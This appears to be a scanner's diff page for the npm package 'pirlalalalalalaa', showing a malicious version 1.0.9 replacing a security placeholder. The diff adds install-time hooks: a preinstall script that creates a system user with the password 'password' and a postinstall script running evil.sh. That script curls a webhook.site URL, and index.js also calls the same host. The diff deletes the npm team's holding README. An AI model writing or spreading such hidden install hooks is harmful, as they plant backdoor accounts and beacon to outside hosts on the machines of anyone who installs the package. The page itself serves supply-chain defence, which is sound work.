pirlalalalalalaa 0.0.1-security → 1.0.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pirlalalalalalaa might be problematic. Click here for more details.
- package/evil.sh +1 -0
- package/index.js +29 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/evil.sh
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
curl https://webhook.site/1b1eb1b5-e492-4b6a-8341-26a48f9b117d/evil.txt
|
package/index.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
const https = require('https')
|
2
|
+
fs = require('fs');
|
3
|
+
|
4
|
+
const options = {
|
5
|
+
hostname: 'https://webhook.site/1b1eb1b5-e492-4b6a-8341-26a48f9b117d',
|
6
|
+
port: 443,
|
7
|
+
path: '/todos',
|
8
|
+
method: 'GET'
|
9
|
+
}
|
10
|
+
|
11
|
+
const req = https.request(options, res => {
|
12
|
+
console.log(`statusCode: ${res.statusCode}`)
|
13
|
+
|
14
|
+
res.on('data', d => {
|
15
|
+
process.stdout.write(d)
|
16
|
+
})
|
17
|
+
})
|
18
|
+
|
19
|
+
req.on('error', error => {
|
20
|
+
console.error(error)
|
21
|
+
})
|
22
|
+
|
23
|
+
req.end()
|
24
|
+
|
25
|
+
fs.writeFile('helloworld.txt', 'Hello World!', function (err) {
|
26
|
+
if (err) return console.log(err);
|
27
|
+
console.log('Hello World > helloworld.txt');
|
28
|
+
});
|
29
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "pirlalalalalalaa",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"dependencies": {
|
7
|
+
"event-stream": "^3.0.0"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
11
|
+
"preinstall": "useradd -p $(openssl passwd -1 password) username",
|
12
|
+
"postinstall":"./evil.sh"
|
13
|
+
},
|
14
|
+
"author": "pirskiwpyodfljhbab",
|
15
|
+
"license": "ISC"
|
6
16
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=pirlalalalalalaa for more information.
|